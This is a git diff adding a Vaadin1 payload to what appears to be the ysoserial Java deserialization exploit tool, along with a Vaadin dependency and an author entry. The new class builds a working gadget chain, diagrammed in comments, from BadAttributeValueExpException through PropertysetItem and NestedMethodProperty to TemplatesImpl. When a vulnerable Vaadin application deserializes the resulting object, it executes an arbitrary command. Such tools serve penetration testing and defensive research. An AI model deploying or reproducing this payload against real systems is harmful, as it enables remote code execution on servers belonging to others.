diff --git a/pom.xml b/pom.xml index ef2de19..b2cf1b0 100644 --- a/pom.xml +++ b/pom.xml @@ -308,6 +308,11 @@ clojure 1.8.0 + + com.vaadin + vaadin-server + 7.7.14 + diff --git a/src/main/java/ysoserial/payloads/Vaadin1.java b/src/main/java/ysoserial/payloads/Vaadin1.java new file mode 100644 index 0000000..1d74d06 --- /dev/null +++ b/src/main/java/ysoserial/payloads/Vaadin1.java @@ -0,0 +1,82 @@ +package ysoserial.payloads; + +import javax.management.BadAttributeValueExpException; + +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import ysoserial.payloads.annotation.Authors; +import ysoserial.payloads.annotation.Dependencies; +import ysoserial.payloads.annotation.PayloadTest; +import ysoserial.payloads.util.Gadgets; +import ysoserial.payloads.util.JavaVersion; +import ysoserial.payloads.util.PayloadRunner; +import ysoserial.payloads.util.Reflections; + +@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" }) +@PayloadTest ( precondition = "isApplicableJavaVersion") +@Authors({ Authors.KULLRICH }) +public class Vaadin1 implements ObjectPayload +{ +// +-------------------------------------------------+ +// | | +// | BadAttributeValueExpException | +// | | +// | val ==> PropertysetItem | +// | | +// | readObject() ==> val.toString() | +// | + | +// +----------|--------------------------------------+ +// | +// | +// | +// +----|-----------------------------------------+ +// | v | +// | PropertysetItem | +// | | +// | toString () => getPropertyId().getValue () | +// | + | +// +---------------------------------------|------+ +// | +// +-----------------------------+ +// | +// +-----|----------------------------------------------+ +// | v | +// | NestedMethodProperty | +// | | +// | getValue() => java.lang.reflect.Method.invoke () | +// | | | +// +-------------------------------------------|--------+ +// | +// +-----------------------------------+ +// | +// +---|--------------------------------------------+ +// | v | +// | TemplatesImpl.getOutputProperties() | +// | | +// +------------------------------------------------+ + + @Override + public Object getObject (String command) throws Exception + { + Object templ = Gadgets.createTemplatesImpl (command); + PropertysetItem pItem = new PropertysetItem (); + + NestedMethodProperty nmprop = new NestedMethodProperty (templ, "outputProperties"); + pItem.addItemProperty ("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException (""); + Reflections.setFieldValue (b, "val", pItem); + + return b; + } + + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Vaadin1.class, args); + } + +} diff --git a/src/main/java/ysoserial/payloads/annotation/Authors.java b/src/main/java/ysoserial/payloads/annotation/Authors.java index 5ed9085..2f4001e 100644 --- a/src/main/java/ysoserial/payloads/annotation/Authors.java +++ b/src/main/java/ysoserial/payloads/annotation/Authors.java @@ -18,6 +18,7 @@ public @interface Authors { String GEBL = "gebl" ; String JACOBAINES = "jacob-baines"; String JASINNER = "jasinner"; + String KULLRICH = "kai_ullrich"; String[] value() default {};